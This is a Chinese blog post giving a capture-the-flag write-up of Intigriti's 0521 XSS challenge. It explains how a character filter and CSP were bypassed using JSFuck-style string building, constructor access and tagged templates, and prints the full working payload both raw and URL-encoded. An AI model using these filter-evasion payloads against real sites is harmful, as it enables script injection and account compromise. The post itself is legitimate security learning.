iT邦幫忙

4

玩通靈 - Intigriti's 0521 XSS challenge (Clickjacking)

  • 分享至 

  • xImage
  •  

前言

這是之前 Huli 大在前端社團分享的 國外 XSS 挑戰。
最近比較有時間來分享,當時 「從0~提交通過」的通靈思路。
組字串的細節可以參考 Huli 大後來在部落格分享的文章

https://ithelp.ithome.com.tw/upload/images/20210617/20120331KHtqe9ChEo.png

題目

網址:
https://challenge-0521.intigriti.io/

規則:
在「challenge-0521.intigriti.io」這個網域,以不使用「self-XSS (不讓使用者輸入 XSS 指令)」的前提下,使用 XSS 執行「alert(document.domain)」。

通靈開始

通靈時間:哪邊可以利用?

  1. 進入網頁,看到一個很顯眼的機器人驗證題目欄位。

  2. 題目既然提到要用 XSS,當然要打開 F12 看看 HTML 和 Javascript 有什麼驚喜。
    首先看到了網頁裡面嵌入了一個 iframe,位置在 ./captcha.php

<iframe src="./captcha.php" width="450" height="90" frameborder="0"></iframe>


iframe 底下,包含機器人驗證的表單 HTML 與 Javascript。

    <form id="captcha">
        <div id="input-fields">
          <span id="a">416</span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required="">
          =
          <span id="d">773</span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f">
          <input type="button" onclick="setNewNumber()" value="Retry" id="g">
    </form>
<script>
 ...
</script>

  1. 接著看到表單送出時,會往下呼叫 loadCalc()。

  2. HTML 的部分看完後,繼續往下閱讀,送出時會執行的所有 Javascript。

    仔細看一下 loadCalc(),他會跑一個 Timer,等到 100% 的時候執行 calc():

        function loadCalc(pVal){
          document.getElementsByTagName("progress")[0].style.display = "block";
          document.getElementsByTagName("progress")[0].value = pVal;
          if(pVal == 100){
            calc();
          }
          else{
            window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
          }
        }
    

    當中的 calc() 的部分,會把 a+b+c 的相加結果放到 eval 執行相加。
    接著判斷相加後的結果,是否等於 d,也就是等號後面的數字。

    到這邊會發現,calc() 裡面,有一個可以用來執行 Javascript 程式碼 eval。
    但是在這段 eval 外面,有一個 if 判斷,透過正規表達式,過濾了當中的字元。
    只要 operation 當中包含了任何被過濾的字元,就不會執行 eval。

    其中有一行註解特別說明,e 是被允許的,因為它在數學中是一個自然底數。

         function calc() {
            const operation = a.innerText + b.innerText + c.value;
            if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
                if (d.innerText == eval(operation)) {
                  alert("?? Congratulations, you're not a robot!");
                }
                else {
                  alert("? Sorry to break the news to you, but you are a robot!");
                }
                setNewNumber();
            }
            c.value = "";
        }
    

    這一段是相加結果不符之後,用來重新產生題目的程式碼。

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }
    

到這邊確定了兩件事情,
第一件事:表單不會送出任何東西到後端。只會在前端執行 Javascript。
第二件事:你必須在不使用正規當中的字元的前提下,生出一個 alert(document.domain) 塞在 eval 的 operation 執行。

通靈時間:怎麼在限有的字元下生出其他字元,塞到 eval()?

  1. 下個關鍵字問問狗:「javascript xss non-alpha」。

  2. 接著繼續找著找著,在第一個連結裡面,找到這個投影片
    第二個連結找到 JS Fuck 的 Github

    只要利用 JS Fuck 介紹的方式,就可以利用 eval 拼出我們要的 "alert(document.domain)"。
    但是 eval 只會幫我們拼成字串,並不會幫實際執行,該怎麼辦呢?

    在 JS Fuck 裡面有提到了一種,用來執行任意 Javascript 的寫法:

    []["filter"]["constructor"]( CODE )()
    

從前兩個搜尋結果內容,確定了第三件事情:我們可以利用 JS Fuck 的方式,拼出其他字元,塞到 eval 來執行任意Javascript。

通靈時間:為什麼可以透過 []["filter"]["constructor"]( CODE )() 執行 alert

  1. 任何一個變數都有一個 constructor。
  2. 任何一個函式也有一個 constructor,也就是 Function()。
  3. 在《MDN: eval()》有提到,可以使用 Function(Code)() 的方式來執行 Javascript。
  4. [].constructor 的寫法等同 []['constructor'],這種寫法叫做 Property accessors

此外,當我嘗試在 challenge-0521.intigriti.io/ 執行 Function('console.log("123")')() 會發現這個頁面有設定 CSP,所以被擋掉無法執行。

這時通靈一下:想到之前在 HTML 的原始碼,有看到網頁有使用一個 iframe 網頁: captcha.php
進去這個頁面試試看,有沒有擋 CSP。

試完後發現,這個頁面沒有擋 CSP。

這時候確定了第四件事情:我們可以在 captcha.php,將拼好的 Function('alert(document.domain)')() 塞進 eval() 進行 XSS。

然而,看完 JS Fuck 的 Github 以及投影片程式碼,會發現目前有一個問題:沒辦法使用 ! 跟 (),也就是用來生出 true 跟 false,以及用來執行的小括號。

這時候確定了第五件事情:目前沒辦法直接生出 true 跟 false。

通靈時間:如果沒辦法生出 true 跟 false,也沒有小括號,目前我能拼的字有哪些?

  1. "undefined"
[][   0 ] + [] // 早期語法
`${[][   0 ]}` // ES6 語法
  1. "NaN"
+{} + [] // 早期語法
`${+{}}` // ES6 語法
  1. "[object Object]"
[] + {} // 早期語法
`${{}}` // ES6 語法

現在還缺 lrm,這些字要怎麼生出來?
這時通靈一下,想到正規表達式沒有排除的 e。

這什麼東西?這是網頁的進度條!為什麼 e 出來的是這個東西?
這是 HTML5 當中的一個特性 Named access on the Window object
可以用元素的 id 名稱當作變數名稱,直接存取對應 id 的元素。

試著把 e 轉成字串之後,發現會得到 "[object HTMLProgressElement]"。

有了 constructor,就可以將 e['constructor'] 轉成字串,得到小括號。
https://ithelp.ithome.com.tw/upload/images/20210618/201203317qbDUodjkU.png

這時候確認了第六件事情:我們可以利用 e 拼出 constructor,間接拼出 []["filter"]["constructor"]( CODE )()

備註:我當時是使用: e['constructor']['constructor']('alert(document.domain)')()。

通靈時間:e['constructor']['constructor']('alert(document.domain)')() ,字串外面的兩組 () 不能是字串,那我要怎麼改寫才能執行?

利用 Tagged template literal 的特性,將 () 使用 `` 的寫法替代。
詳細在這篇 stackoverflow 與 Huli 文中分享的這篇文章

e['constructor']['constructor']`_${'alert(document.domain)'}```

其他拼字的詳細過程不再贅述,有興趣可以參考 Huli 的文章。

這時候就可以拼出,執行題目要求的程式碼。
以下是我當時拼出來的結果:

e[`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ][`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e  + [][0]}`[21] + `${e  + [][0]}`[22] + `${e  + [][0]}` [13] + `${e  + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}`[5] + `${e  + [][0]}` [28] + `${e  + [][0]}` [23] + `${e  + [][0]}` [24] + `${e  + [][0]}` [25] + `${e  + [][0]}` [26] + [[] + [] + 1 / 10][0][1] +  `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}` [23] + [+{} + []][0][1] +  `${e  + [][0]}`[33] + `${e  + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```

複製到網頁上送出,成功跳出題目要求的 alert。
https://ithelp.ithome.com.tw/upload/images/20210617/20120331Ih9DX5aLyy.png

YA! 可以開心地去交答案了。 (結果被打槍了)

通靈時間:對方告訴我,不能使用 self-xss,該怎麼做?

我們必須要在進入網頁時,自動帶入我們拼好要執行的程式碼。
先前看了前端的 Javascript ,並沒有任何的程式碼會自動帶入c欄位。

這時通靈一下:如果我們希望進入網頁時,將值自動帶入 PHP 網頁的 input,PHP 可能會怎麼寫?
(用 GET 塞到 input 的 value)

<input id="c" type="text" size="4" value="<?php echo $_GET['c']; ?>" required="">

那我試試看後面加上 ?c=123 好了。
加上去之後,確認了第七件事:GET 參數當中的 c 會帶入 c 欄位的 value 值。

https://challenge-0521.intigriti.io/captcha.php?c=123

https://ithelp.ithome.com.tw/upload/images/20210617/20120331r9QqUN11pZ.png

接著把剛才拼出的程式碼,塞到 GET 參數
進入網頁並送出表單之後,發現竟然沒有反應...

https://challenge-0521.intigriti.io/captcha.php?c=e[`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20][`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20]`e${[+{}%20+%20[]][0][1]%20+%20`${e%20%20+%20[][0]}`[21]%20+%20`${e%20%20+%20[][0]}`[22]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][13]%20+%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`[5]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20`${e%20%20+%20[][0]}`%20[24]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[26]%20+%20[[]%20+%20[]%20+%201%20/%2010][0][1]%20+%20%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20[+{}%20+%20[]][0][1]%20+%20%20`${e%20%20+%20[][0]}`[33]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][14]}```

通靈時間:為什麼拼出來的程式碼,帶到網址的 GET 參數會有問題?

這是塞進去 GET 之前,拼出來的值:

e[`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ][`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e  + [][0]}`[21] + `${e  + [][0]}`[22] + `${e  + [][0]}` [13] + `${e  + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}`[5] + `${e  + [][0]}` [28] + `${e  + [][0]}` [23] + `${e  + [][0]}` [24] + `${e  + [][0]}` [25] + `${e  + [][0]}` [26] + [[] + [] + 1 / 10][0][1] +  `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}` [23] + [+{} + []][0][1] +  `${e  + [][0]}`[33] + `${e  + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```

這是塞進去 GET 之後,input 當中的值:

e[`${e    [][0]}` [5]   `${e    [][0]}` [1]    `${e    [][0]}` [25]   `${e    [][0]}` [19]    `${e    [][0]}` [6]   `${e    [][0]}` [13]   `${e    [][0]}` [28]   `${e    [][0]}` [5]   `${e    [][0]}` [6]   `${e    [][0]}` [1]   `${e    [][0]}` [13] ][`${e    [][0]}` [5]   `${e    [][0]}` [1]    `${e    [][0]}` [25]   `${e    [][0]}` [19]    `${e    [][0]}` [6]   `${e    [][0]}` [13]   `${e    [][0]}` [28]   `${e    [][0]}` [5]   `${e    [][0]}` [6]   `${e    [][0]}` [1]   `${e    [][0]}` [13] ]`e${[ {}   []][0][1]   `${e    [][0]}`[21]   `${e    [][0]}`[22]   `${e    [][0]}` [13]   `${e    [][0]}` [6]   [[][ [[][0]   []][0][4]   [[][0]   []][0][5]   [[][0]   []][0][6]   [[][0]   []][0][8] ]  []][0][13]   `${e    [][0]}`[30]   `${e    [][0]}`[1]   `${e    [][0]}`[5]   `${e    [][0]}` [28]   `${e    [][0]}` [23]   `${e    [][0]}` [24]   `${e    [][0]}` [25]   `${e    [][0]}` [26]   [[]   []   1 / 10][0][1]    `${e    [][0]}`[30]   `${e    [][0]}`[1]   `${e    [][0]}` [23]   [ {}   []][0][1]    `${e    [][0]}`[33]   `${e    [][0]}` [25]   [[][ [[][0]   []][0][4]   [[][0]   []][0][5]   [[][0]   []][0][6]   [[][0]   []][0][8] ]  []][0][14]}```

有沒有發現少了什麼? + 不見了!!
為什麼塞進去 GET 之後 + 會消失?

url 的字元只能使用包含在 ASCII 的字元傳送,其他的字元需要被轉換為有效的 ASCII Code。而且 + 號在 url 的 query parameter 被當作是空白

URLs can only be sent over the Internet using the ASCII character-set.
Since URLs often contain characters outside the ASCII set, the URL has to be converted into a valid ASCII format.
URLs cannot contain spaces. URL encoding normally replaces a space with a plus (+) sign or with %20.

所以我們必須把剛才網址,經過 urlencode 轉換一次
url 經過轉後,+號就會變成 %2B。

接著再次進入轉換過的網址,進入後直接送出表單。

https://challenge-0521.intigriti.io/captcha.php?c=e%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%60e%24%7B%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B21%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B22%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B24%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B26%5D%20%2B%20%5B%5B%5D%20%2B%20%5B%5D%20%2B%201%20%2F%2010%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B33%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B14%5D%7D%60%60%60

https://ithelp.ithome.com.tw/upload/images/20210617/20120331OSU1JRCiPX.png

再次提交修改後的結果,順利通過了挑戰。
https://ithelp.ithome.com.tw/upload/images/20210617/20120331KHtqe9ChEo.png

心得

每次玩 CTF 都覺得很像在練通靈。
線索只要找錯,通靈不成,便成亡,只會越想越錯浪費很多時間。

相對的,一旦找對線索跟方向,會發現其實並沒有想像中的難 (甚至會想罵髒話)。
所以玩過幾次後,真心覺得,在資安圈長期闖蕩的人,腦袋跟反應都很聰明。

很多被拿來利用的安全問題,都是出現在一些平常開發不會想到或用到的地方。
以這題的 Clickjacking,就是模擬利用網頁 iframe 進行 XSS 攻擊,來誘導使用者進行非預期的操作情境。

例如:
將假的登入網頁設定透明,放到最上層,並將正常的網站顯示並放在下層。
這樣子使用者會以為,他是在操作正常的登入網頁,但實際上使用者操作的是假的登入網頁。
詳細可以參考去年鐵人賽這篇: 資安這條路 17 - [WebSecurity] 點擊劫持 clickjacking

所以即使不是走資安圈,CTF 很適合當作練習「技術的深度 & 廣度」,以及「解決問題的能力跟耐性」(還有通靈能力)


圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

1
st474ddr
iT邦新手 2 級 ‧ 2021-06-18 16:08:25

新手初聞JSFuck
查了一下真是深奧

我要留言

立即登入留言